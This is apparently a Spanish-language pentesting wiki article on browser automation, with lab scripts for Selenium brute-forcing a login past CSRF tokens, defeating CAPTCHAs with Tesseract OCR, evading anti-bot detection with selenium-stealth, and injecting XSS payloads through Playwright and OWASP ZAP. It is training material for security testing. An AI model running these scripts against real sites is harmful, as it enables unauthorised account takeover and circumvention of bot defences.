Automatización de navegador para pentesting
La automatización de navegador para pentesting consiste en usar herramientas como Selenium o Playwright para controlar un navegador real de forma programática, interactuando con…
Definición
La automatización de navegador para pentesting consiste en usar herramientas como Selenium o Playwright para controlar un navegador real de forma programática, interactuando con aplicaciones web exactamente como lo haría un usuario humano. El navegador ejecuta el JavaScript de la aplicación, gestiona cookies, tokens CSRF y el DOM dinámico, eliminando la necesidad de reingeniería inversa de la criptografía client-side.
Ventajas clave sobre proxies con plugins:
- El navegador procesa todo el JS de la app (cifrado, CSRF tokens, DOM manipulations) automáticamente.
- Permite bypassear muchos controles anti-bot porque simula interacciones reales.
- Facilita flujos multi-step que requieren navegar por varias pantallas.
Relacionado: Custom Tooling via Burp, OWASP ZAP, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)
Contexto
Cuándo usar automatización de navegador vs proxy+plugin
| Situación | Proxy + Plugin | Browser Automation |
|---|---|---|
| Cifrado custom conocido | ✓ (replica la lógica) | ✓ (el browser lo hace) |
| Cifrado desconocido / complejo | ✗ | ✓ (navegador lo resuelve) |
| CSRF tokens dinámicos | Complejo | ✓ (transparente) |
| CAPTCHAs de imagen | ✗ | ✓ (OCR con Tesseract) |
| Flujos multi-step | Complejo | ✓ natural |
| Velocidad / performance | Alta | Media (overhead del browser) |
Comparativa de herramientas de automatización
| Herramienta | Lenguajes | Ventajas | Limitaciones |
|---|---|---|---|
| Playwright | Python, Java, C#, JS | Rápido, multi-browser nativo | Curva de aprendizaje algo mayor |
| Selenium | Python, Java, C#, JS | Gran comunidad, multi-browser | Más lento, setup complejo |
| Puppeteer | JavaScript | API JS nativa para Chrome | Solo Chrome oficialmente |
| Pyppeteer | Python | Wrapper Python de Puppeteer | Deprecado recientemente |
| Power Automate | Low-code | Simula comportamiento visual | Menos preciso, no cross-platform |
Lab 1 — Brute Force con Selenium (CSRF transparente)
Escenario: App en http://TARGET/labs/lab1/ con CSRF token en cada request de login. El objetivo es brute force de la contraseña del usuario admin.
Ventaja Selenium: el navegador gestiona el CSRF token automáticamente en cada submit, sin necesidad de extraerlo y reenviarlo manualmente.
Configuración del navegador
from selenium import webdriverfrom selenium.webdriver.chrome.options import Optionsfrom selenium_stealth import stealthfrom fake_useragent import UserAgent
options = Options()ua = UserAgent()options.add_argument('--no-sandbox')options.add_argument('--headless') # sin GUIoptions.add_argument("start-maximized")options.add_argument(f'user-agent={ua.random}')options.add_argument('--disable-dev-shm-usage')options.add_argument('--disable-cache')options.add_argument('--disable-gpu')
chrome = webdriver.Chrome(options=options)Evasión de fingerprinting (selenium-stealth)
stealth(chrome, languages=["en-US", "en"], vendor="Google Inc.", platform="Win32", webgl_vendor="Intel Inc.", renderer="Intel Iris OpenGL Engine", fix_hairline=True,)selenium-stealth elimina señales que delatan el modo headless (navigator.webdriver, GPU fingerprint, etc.).
Lógica de brute force
passwords = ["123456", "admin", "letmein", "pass123", "password"]login_url = "http://TARGET/labs/lab1/index.php"dashboard_url = "http://TARGET/labs/lab1/dashboard.php"
for password in passwords: chrome.get(login_url) # carga la página (genera nuevo CSRF token) time.sleep(0.5)
chrome.find_element(By.NAME, "username").send_keys("admin") chrome.find_element(By.NAME, "password").send_keys(password) chrome.find_element(By.TAG_NAME, "form").submit() # envía con CSRF token automático
if dashboard_url in chrome.current_url: print(f"[+] Password: {password}") flag = chrome.find_element(By.TAG_NAME, "p").text.strip() print(f"[+] {flag}") break else: print(f"[-] Failed: {password}")Lab 2 — CAPTCHA Bypass (Tesseract OCR + Pillow)
Escenario: App en http://TARGET/labs/lab2 con CAPTCHA alfanumérico de 5 caracteres (mayúsculas + dígitos) y CSRF. El CAPTCHA es una imagen PNG generada server-side.
Pipeline: screenshot del elemento <img> → preprocesado con Pillow → OCR con Tesseract → submit.
Librerías adicionales
from PIL import Image, ImageEnhance, ImageFilterimport pytesseractimport ioPaso 1: Capturar el CAPTCHA como PNG
captcha_img_element = chrome.find_element(By.TAG_NAME, "img")captcha_png = captcha_img_element.screenshot_as_png # captura directamente del DOMPaso 2: Preprocesado de imagen para maximizar OCR
image = Image.open(io.BytesIO(captcha_png)).convert("L") # 1. grayscaleimage = image.resize((image.width * 2, image.height * 2), Image.LANCZOS) # 2. upscale x2image = image.filter(ImageFilter.SHARPEN) # 3. sharpeningimage = ImageEnhance.Contrast(image).enhance(2.0) # 4. contraste x2image = image.point(lambda x: 0 if x < 140 else 255, '1') # 5. binarización| Paso | Técnica | Objetivo |
|---|---|---|
| Grayscale | .convert("L") |
Reducir canales; simplificar contraste |
| Upscale | LANCZOS x2 | Más píxeles = mejor OCR |
| Sharpening | ImageFilter.SHARPEN |
Bordes de texto más nítidos |
| Contraste | enhance(2.0) |
Aumentar diferencia fondo/texto |
| Binarización | punto < 140 → negro | Eliminar ruido de fondo |
Paso 3: OCR con Tesseract
captcha_text = pytesseract.image_to_string( image, config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789').strip().replace(" ", "").replace("\n", "").upper()--psm 7: modo “una sola línea de texto”.tessedit_char_whitelist: restringe el alfabeto al del CAPTCHA (excluye0,1,O,Iconfusos).
Paso 4: Submit con el CAPTCHA resuelto
chrome.find_element(By.NAME, "username").send_keys(username)chrome.find_element(By.NAME, "password").send_keys(password)chrome.find_element(By.NAME, "captcha_input").send_keys(captcha_text)chrome.find_element(By.TAG_NAME, "form").submit()Lab 3 — Vulnerability Scanning con Playwright + OWASP ZAP API
Escenario: App de greeting personalizado en http://TARGET:5000/. Objetivo: inyectar payloads XSS a través de Playwright (proxy → ZAP) y generar un informe PDF de vulnerabilidades.
Arquitectura:
Playwright (Firefox headless) → proxy HTTP:8080 → ZAP → TARGET appZAP actúa como proxy pasivo/activo: intercepta el tráfico inyectado por Playwright y analiza vulnerabilidades.
Configuración previa en ZAP
Tools → Options → Network → Local Proxy: address=localhost, port=8080.Tools → Options → API: copiar API key (e.g.,kcsbj07b6u7hhii6h3b772ia90).
Script completo (play.py)
from playwright.sync_api import sync_playwright, Playwrightfrom zapv2 import ZAPv2, reportsimport time, os, sys
ZAP_KEY = "kcsbj07b6u7hhii6h3b772ia90" # ajustar al entornoPROXY = "http://localhost:8080"TARGET_URL = "http://TARGET_IP:5000/"
xss_tests = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>", "<svg/onload=alert('XSS')>", "\"><script>alert('XSS')</script>",]
def execute_automation(playwright: Playwright): zap = ZAPv2(apikey=ZAP_KEY, proxies={'http': PROXY}) zap.core.new_session(name="xss_scan", overwrite=True)
browser = playwright.firefox.launch(headless=True) context = browser.new_context( ignore_https_errors=True, proxy={"server": PROXY} # todo el tráfico pasa por ZAP ) page = context.new_page()
for payload in xss_tests: print(f"Injecting: {payload}") page.once("dialog", lambda dialog: dialog.dismiss()) # cerrar alerts JS page.goto(f"{TARGET_URL}?name={payload}") # inyección vía GET param time.sleep(1)
# esperar a que ZAP termine el escaneo pasivo while int(zap.pscan.records_to_scan) > 0: time.sleep(1)
# generar informe PDF en el escritorio zap_reporter = reports(zap) zap_reporter.generate( title="XSS Passive Scan Report", template="traditional-pdf", description="Automated XSS scan via Playwright", reportfilename="zap_passive_silent_report.pdf", reportdir=os.path.expanduser("~/Desktop"), ) browser.close()
with sync_playwright() as pw: execute_automation(pw)Notas de uso:
page.once("dialog", ...): cierra alerts JS para que la automatización no se bloquee.zap.pscan.records_to_scan: ZAP procesa el tráfico en background; el script espera a que termine.- El informe PDF incluye todos los findings (incluyendo headers faltantes, XSS reflejado, etc.).
Diagrama de flujo — CAPTCHA bypass pipeline
flowchart TD
A[Selenium: chrome.get login_url] --> B[find_element img.screenshot_as_png]
B --> C[Pillow: grayscale → upscale x2 → sharpen → contrast → binarize]
C --> D[pytesseract --psm 7 whitelist=A-Z2-9]
D --> E{OCR exitoso?}
E -->|Sí| F[send_keys username + password + captcha_text]
F --> G[form.submit]
G --> H{dashboard_url in current_url?}
H -->|Sí| I[Success: print flag]
H -->|No| J[next password iteration]
E -->|No / texto vacío| K[reintentar con nueva página]
Pitfalls
- Tasa de acierto del OCR: Tesseract no es perfecto; CAPTCHAs con distorsión o ruido muy agresivo reducen el accuracy. Aumentar preprocesado (e.g., erosión/dilatación morfológica) puede mejorar resultados.
- Detección por timing: Selenium sin
selenium-stealthni user-agent random es fácilmente detectado por herramientas anti-bot (Cloudflare, Distil, Akamai). Añadir delays aleatorios entre acciones. - Stale element references: Si el DOM se regenera entre
find_elementysend_keys, se lanzaStaleElementReferenceException. Usar waits explícitos (WebDriverWait) en lugar detime.sleep()fijo. - ZAP API key: Si no se especifica la API key correcta, ZAP devuelve errores 403 o ignora los comandos. Verificar con
curl http://localhost:8080/JSON/core/view/version/?apikey=TU_KEY. - CAPTCHA alternativo: Si el CAPTCHA es un reCAPTCHA v2/v3, Tesseract no sirve. Opciones: servicios de resolución de CAPTCHA (2captcha, anticaptcha) o inyección de cookie de sesión ya autenticada.
--no-sandboxen producción: Solo para entornos Docker/root. Nunca en browsers de producción.
Referencias
- Playwright Docs
- Selenium Docs
- Tesseract OCR
- OWASP ZAP API
- OWASP ZAP
- Custom Tooling via Burp — alternativa para cifrado custom con plugin proxy
- Cross-Site Scripting (XSS)